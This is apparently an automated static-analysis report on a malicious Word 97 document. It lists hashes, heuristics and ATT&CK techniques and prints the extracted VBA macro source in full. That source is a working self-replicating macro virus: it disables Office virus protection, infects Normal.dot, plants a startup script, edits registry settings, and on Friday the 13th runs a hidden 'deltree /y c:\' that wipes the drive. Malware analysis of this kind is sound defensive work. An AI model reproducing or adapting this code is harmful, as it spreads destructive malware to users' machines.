Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30fabbb11e25ff5d…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2c10a5b72e7b1ed75848d0f0866f2d4c SHA-1: 97ee20fe38e1df75330639e4fe272ff9c7425bb9 SHA-256: 30fabbb11e25ff5d4d374ae05c8fdc53f4887fd3deb9c49454a16cdf9d0d52c1
356 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This document contains legacy WordBasic macro virus markers and multiple VBA macros, including AutoOpen and AutoClose. The AutoOpen macro attempts to export components to C:\Windows\ and create a VBScript file in the startup folder, likely for persistence and propagation. The presence of Shell() and CreateObject() calls, along with ClamAV detections for 'Doc.Trojan.Been-1' and 'Win.Trojan.DelTree-7', indicates malicious intent to execute arbitrary code and potentially delete files.

Heuristics 8

  • ClamAV: Doc.Trojan.Been-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Been-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\ >nul", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WordObj = CreateObject("Word.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4343 bytes
SHA-256: ccf8a793ade5048a5d17a010c62b1981e88a0281c9fd8acae3848d4fff10334e
Detection
ClamAV: Win.Trojan.DelTree-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MSNI"
' MSDI.sys (Блок инфецирования документов)
' MSNR.sys (Блок востановления кода в Normal.dot)
' MSNI.sys (Блок инфецирования Normal.dot)

Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
ShowVisualBasicEditor = False
 For i = 1 To NormalTemplate.VBProject.VBComponents.Count
   If NormalTemplate.VBProject.VBComponents(i).Name = "MSDI" Then Vp = True
 Next i
 If Vp <> True Then
   ActiveDocument.VBProject.VBComponents("MSNI").Export ("C:\Windows\MSNI.sys")
   ActiveDocument.VBProject.VBComponents("MSDI").Export ("C:\Windows\MSDI.sys")
   ActiveDocument.VBProject.VBComponents("MSNR").Export ("C:\Windows\MSNR.sys")
   Kill "C:\WINDOWS\Главное меню\Программы\Автозагрузка\MSNR.vbs"
   Open "C:\WINDOWS\Главное меню\Программы\Автозагрузка\MSNR.vbs" For Append As #1
   CurLine = ActiveDocument.VBProject.VBComponents("MSNR").CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents("MSNR").CodeModule.CountOfLines)
   Print #1, CurLine
   Print #1, "Call RestoNormalMacros"
   Close #1
   NormalTemplate.VBProject.VBComponents.Import ("C:\Windows\MSDI.sys")
 End If
End Sub

Attribute VB_Name = "MSDI"
' MSDI.sys (Блок инфецирования документов)
' MSNR.sys (Блок востановления кода в Normal.dot)
' MSNI.sys (Блок инфецирования Normal.dot)

Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
ShowVisualBasicEditor = False
 For i = 1 To ActiveDocument.VBProject.VBComponents.Count
   If ActiveDocument.VBProject.VBComponents(i).Name = "MSNI" Then Vp = True
 Next i
 If Vp = False Then
   ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSNI.sys")
   ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSDI.sys")
   ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSNR.sys")
 End If
 Call Destructor
End Sub

Sub Destructor()
On Error Resume Next
If WeekDay(Date) = 6 And Day(Date) = 13 Then
Shell "deltree /y c:\ >nul", vbHide
End If
End Sub

Private Sub HelpAbout()
    MsgBox "Lamers Must Been DEAD !!! BioCoded By DEATHtroyer", , "Macro-Script Virus ver1.0"
End Sub


Private Sub ViewVBCode()
End Sub

Private Sub FileTemplates()
End Sub

Private Sub ToolsMacro()
End Sub

Private Sub Organizer()
End Sub

Attribute VB_Name = "MSNR"
' Данный Script при каждом запуске компа  востанавливает
' код в Normal.dot если он там отсутствует, а также выключает антивирусную защиту
' всех приложений Oficce 97

Sub RestoNormalMacros()
    Set WordObj = CreateObject("Word.Application")
    Set NT = WordObj.NormalTemplate.VBProject.VBComponents
    NotRestore = False
    WordObj.Options.VirusProtection = False
    WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
    WordObj.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
    WordObj.System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
    WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
    WordObj.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
    WordObj.System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
    For i = 1 To NT.Count
        If NT(i).Name = "MSDI" Then NotRestore = True
    Next
    If NotRestore <> True Then
        NT.Import ("C:\Windows\MSDI.sys")
        WordObj.NormalTemplate.Save
    End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.